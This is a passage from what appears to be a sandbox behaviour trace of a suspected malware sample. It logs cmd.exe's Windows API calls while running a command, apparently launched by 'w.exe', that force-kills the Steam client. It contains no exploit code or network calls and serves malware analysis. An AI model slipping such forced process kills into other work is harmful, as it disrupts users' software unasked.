	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 286
	os_tid = 0xa9c

	[0046.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3af7f4 | out: lpSystemTimeAsFileTime=0x3af7f4*(dwLowDateTime=0x17d6cf0, dwHighDateTime=0x1d52dc5)) 
	[0046.753] GetCurrentProcessId () returned 0x848
	[0046.753] GetCurrentThreadId () returned 0xa9c
	[0046.753] GetTickCount () returned 0x1bdf1
	[0046.753] QueryPerformanceCounter (in: lpPerformanceCount=0x3af7ec | out: lpPerformanceCount=0x3af7ec*=16706334353) returned 1
	[0046.754] GetModuleHandleA (lpModuleName=0x0) returned 0x4a5d0000
	[0046.754] __set_app_type (_Type=0x1) 
	[0046.754] __p__fmode () returned 0x74eb31f4
	[0046.754] __p__commode () returned 0x74eb31fc
	[0046.755] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a5f21a6) returned 0x0
	[0046.755] __getmainargs (in: _Argc=0x4a5f4238, _Argv=0x4a5f4240, _Env=0x4a5f423c, _DoWildCard=0, _StartInfo=0x4a5f4140 | out: _Argc=0x4a5f4238, _Argv=0x4a5f4240, _Env=0x4a5f423c) returned 0
	[0046.755] GetCurrentThreadId () returned 0xa9c
	[0046.755] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa9c) returned 0x60
	[0046.755] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0046.755] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0046.755] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0046.756] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0046.756] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3af784 | out: phkResult=0x3af784*=0x0) returned 0x2
	[0046.756] VirtualQuery (in: lpAddress=0x3af7bb, lpBuffer=0x3af754, dwLength=0x1c | out: lpBuffer=0x3af754*(BaseAddress=0x3af000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0046.756] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x3af754, dwLength=0x1c | out: lpBuffer=0x3af754*(BaseAddress=0x2b0000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0046.756] VirtualQuery (in: lpAddress=0x2b1000, lpBuffer=0x3af754, dwLength=0x1c | out: lpBuffer=0x3af754*(BaseAddress=0x2b1000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0046.756] VirtualQuery (in: lpAddress=0x2b3000, lpBuffer=0x3af754, dwLength=0x1c | out: lpBuffer=0x3af754*(BaseAddress=0x2b3000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0046.756] VirtualQuery (in: lpAddress=0x3b0000, lpBuffer=0x3af754, dwLength=0x1c | out: lpBuffer=0x3af754*(BaseAddress=0x3b0000, AllocationBase=0x3b0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0046.756] GetConsoleOutputCP () returned 0x1b5
	[0046.756] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a5f4260 | out: lpCPInfo=0x4a5f4260) returned 1
	[0046.756] SetConsoleCtrlHandler (HandlerRoutine=0x4a5ee72a, Add=1) returned 1
	[0046.756] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0046.756] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0046.756] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0046.756] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a5f41ac | out: lpMode=0x4a5f41ac) returned 0
	[0046.757] _get_osfhandle (_FileHandle=0) returned 0xac
	[0046.757] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a5f41b0 | out: lpMode=0x4a5f41b0) returned 0
	[0046.757] GetEnvironmentStringsW () returned 0x7c2000*
	[0046.757] GetProcessHeap () returned 0x7b0000
	[0046.757] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xaca) returned 0x7c2ad8
	[0046.757] FreeEnvironmentStringsW (penv=0x7c2000) returned 1
	[0046.757] GetProcessHeap () returned 0x7b0000
	[0046.757] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x4) returned 0x7c0c38
	[0046.757] GetEnvironmentStringsW () returned 0x7c2000*
	[0046.757] GetProcessHeap () returned 0x7b0000
	[0046.757] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xaca) returned 0x7c35b0
	[0046.757] FreeEnvironmentStringsW (penv=0x7c2000) returned 1
	[0046.757] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ae6f4 | out: phkResult=0x3ae6f4*=0x68) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x0, lpData=0x3ae700*=0x0, lpcbData=0x3ae6f8*=0x1000) returned 0x2
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x4, lpData=0x3ae700*=0x1, lpcbData=0x3ae6f8*=0x4) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x0, lpData=0x3ae700*=0x1, lpcbData=0x3ae6f8*=0x1000) returned 0x2
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x4, lpData=0x3ae700*=0x0, lpcbData=0x3ae6f8*=0x4) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x4, lpData=0x3ae700*=0x40, lpcbData=0x3ae6f8*=0x4) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x4, lpData=0x3ae700*=0x40, lpcbData=0x3ae6f8*=0x4) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x0, lpData=0x3ae700*=0x40, lpcbData=0x3ae6f8*=0x1000) returned 0x2
	[0046.758] RegCloseKey (hKey=0x68) returned 0x0
	[0046.758] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ae6f4 | out: phkResult=0x3ae6f4*=0x68) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x0, lpData=0x3ae700*=0x40, lpcbData=0x3ae6f8*=0x1000) returned 0x2
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x4, lpData=0x3ae700*=0x1, lpcbData=0x3ae6f8*=0x4) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x0, lpData=0x3ae700*=0x1, lpcbData=0x3ae6f8*=0x1000) returned 0x2
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x4, lpData=0x3ae700*=0x0, lpcbData=0x3ae6f8*=0x4) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x4, lpData=0x3ae700*=0x9, lpcbData=0x3ae6f8*=0x4) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x4, lpData=0x3ae700*=0x9, lpcbData=0x3ae6f8*=0x4) returned 0x0
	[0046.758] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ae6fc, lpData=0x3ae700, lpcbData=0x3ae6f8*=0x1000 | out: lpType=0x3ae6fc*=0x0, lpData=0x3ae700*=0x9, lpcbData=0x3ae6f8*=0x1000) returned 0x2
	[0046.758] RegCloseKey (hKey=0x68) returned 0x0
	[0046.758] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163037
	[0046.758] srand (_Seed=0x5d163037) 
	[0046.758] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im steam.exe \""
	[0046.758] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im steam.exe \""
	[0046.759] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a5f5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0046.759] GetProcessHeap () returned 0x7b0000
	[0046.759] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x210) returned 0x7c2000
	[0046.759] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7c2008, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0046.759] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a600640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0046.759] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a600640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.759] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a600640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0046.759] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0046.759] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0046.759] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0046.759] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0046.759] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0046.759] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0046.759] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0046.760] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0046.760] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0046.760] GetProcessHeap () returned 0x7b0000
	[0046.760] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c2ad8 | out: hHeap=0x7b0000) returned 1
	[0046.760] GetEnvironmentStringsW () returned 0x7c2218*
	[0046.760] GetProcessHeap () returned 0x7b0000
	[0046.760] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xae2) returned 0x7c4b78
	[0046.760] FreeEnvironmentStringsW (penv=0x7c2218) returned 1
	[0046.760] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a600640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0046.760] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a600640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0046.760] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0046.760] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0046.760] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0046.760] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0046.760] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0046.760] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0046.760] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0046.760] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0046.760] GetProcessHeap () returned 0x7b0000
	[0046.760] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x54) returned 0x7c5668
	[0046.760] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3af4c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0046.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3af4c0, lpFilePart=0x3af4bc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3af4bc*="Desktop") returned 0x25
	[0046.760] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0046.761] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3af23c | out: lpFindFileData=0x3af23c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7c1e80
	[0046.761] FindClose (in: hFindFile=0x7c1e80 | out: hFindFile=0x7c1e80) returned 1
	[0046.761] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3af23c | out: lpFindFileData=0x3af23c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7c1e80
	[0046.761] FindClose (in: hFindFile=0x7c1e80 | out: hFindFile=0x7c1e80) returned 1
	[0046.761] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0046.761] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3af23c | out: lpFindFileData=0x3af23c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7c1e80
	[0046.761] FindClose (in: hFindFile=0x7c1e80 | out: hFindFile=0x7c1e80) returned 1
	[0046.761] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0046.761] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0046.761] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0046.761] GetProcessHeap () returned 0x7b0000
	[0046.761] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4b78 | out: hHeap=0x7b0000) returned 1
	[0046.761] GetEnvironmentStringsW () returned 0x7c4088*
	[0046.761] GetProcessHeap () returned 0x7b0000
	[0046.761] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb36) returned 0x7c5ec8
	[0046.762] FreeEnvironmentStringsW (penv=0x7c4088) returned 1
	[0046.762] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a5f5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0046.762] GetProcessHeap () returned 0x7b0000
	[0046.762] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c5668 | out: hHeap=0x7b0000) returned 1
	[0046.762] GetProcessHeap () returned 0x7b0000
	[0046.762] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x400e) returned 0x7c6a08
	[0046.762] GetProcessHeap () returned 0x7b0000
	[0046.762] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x46) returned 0x7c1e80
	[0046.762] GetProcessHeap () returned 0x7b0000
	[0046.762] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x4008) returned 0x7caa20
	[0046.762] GetProcessHeap () returned 0x7b0000
	[0046.763] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x4008) returned 0x7cea30
	[0046.764] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0046.764] GetProcessHeap () returned 0x7b0000
	[0046.764] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x418) returned 0x7c2d58
	[0046.764] SetErrorMode (uMode=0x0) returned 0x8003
	[0046.764] SetErrorMode (uMode=0x1) returned 0x0
	[0046.764] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x7c2d60, lpFilePart=0x3af438 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x3af438*="f") returned 0x31
	[0046.765] SetErrorMode (uMode=0x8003) returned 0x1
	[0046.765] GetProcessHeap () returned 0x7b0000
	[0046.765] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7c2d58, Size=0x88) returned 0x7c2d58
	[0046.765] GetProcessHeap () returned 0x7b0000
	[0046.765] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7c2d58) returned 0x88
	[0046.765] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0046.765] GetProcessHeap () returned 0x7b0000
	[0046.765] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x72) returned 0x7d2a58
	[0046.765] GetProcessHeap () returned 0x7b0000
	[0046.765] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xd8) returned 0x7c2de8
	[0046.765] GetProcessHeap () returned 0x7b0000
	[0046.765] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7c2de8, Size=0x72) returned 0x7c2de8
	[0046.765] GetProcessHeap () returned 0x7b0000
	[0046.765] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7c2de8) returned 0x72
	[0046.765] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a600640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.765] GetProcessHeap () returned 0x7b0000
	[0046.765] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xe0) returned 0x7c2e68
	[0046.768] GetProcessHeap () returned 0x7b0000
	[0046.769] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7c2e68, Size=0x76) returned 0x7c2e68
	[0046.769] GetProcessHeap () returned 0x7b0000
	[0046.769] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7c2e68) returned 0x76
	[0046.769] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0046.769] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im steam.exe ", fInfoLevelId=0x1, lpFindFileData=0x3af1d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af1d4) returned 0xffffffff
	[0046.769] GetLastError () returned 0x3
	[0046.769] GetProcessHeap () returned 0x7b0000
	[0046.769] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caa20 | out: hHeap=0x7b0000) returned 1
	[0046.769] GetProcessHeap () returned 0x7b0000
	[0046.769] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cea30 | out: hHeap=0x7b0000) returned 1
	[0046.769] GetProcessHeap () returned 0x7b0000
	[0046.769] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c6a08 | out: hHeap=0x7b0000) returned 1
	[0046.769] GetConsoleOutputCP () returned 0x1b5
	[0046.769] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a5f4260 | out: lpCPInfo=0x4a5f4260) returned 1
	[0046.769] GetUserDefaultLCID () returned 0x409
	[0046.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a5f4950, cchData=8 | out: lpLCData=":") returned 2
	[0046.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3af600, cchData=128 | out: lpLCData="0") returned 2
	[0046.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3af600, cchData=128 | out: lpLCData="0") returned 2
	[0046.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3af600, cchData=128 | out: lpLCData="1") returned 2
	[0046.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a5f4940, cchData=8 | out: lpLCData="/") returned 2
	[0046.770] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a5f4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0046.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a5f4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0046.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a5f4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0046.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a5f4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0046.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a5f4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0046.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a5f4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0046.771] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a5f4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0046.771] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a5f4930, cchData=8 | out: lpLCData=".") returned 2
	[0046.771] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a5f4920, cchData=8 | out: lpLCData=",") returned 2
	[0046.771] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0046.772] GetProcessHeap () returned 0x7b0000
	[0046.772] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x20c) returned 0x7c2f20
	[0046.772] GetConsoleTitleW (in: lpConsoleTitle=0x7c2f20, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0046.772] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0046.772] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0046.773] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0046.773] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0046.773] GetProcessHeap () returned 0x7b0000
	[0046.773] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x400a) returned 0x7c6a08
	[0046.773] GetProcessHeap () returned 0x7b0000
	[0046.773] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c6a08 | out: hHeap=0x7b0000) returned 1
	[0046.774] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0046.774] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0046.774] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0046.774] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0046.774] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0046.774] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0046.774] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0046.774] GetProcessHeap () returned 0x7b0000
	[0046.774] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x58) returned 0x7c3138
	[0046.774] GetProcessHeap () returned 0x7b0000
	[0046.774] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x1a) returned 0x7c5708
	[0046.774] GetProcessHeap () returned 0x7b0000
	[0046.774] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x2e) returned 0x7c3198
	[0046.775] GetConsoleTitleW (in: lpConsoleTitle=0x3af2f8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0046.775] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0046.775] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0046.775] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0046.775] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0046.776] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0046.776] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0046.776] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0046.776] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0046.776] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0046.776] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0046.776] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0046.776] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0046.776] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0046.776] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0046.776] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0046.776] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0046.776] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0046.776] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0046.776] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
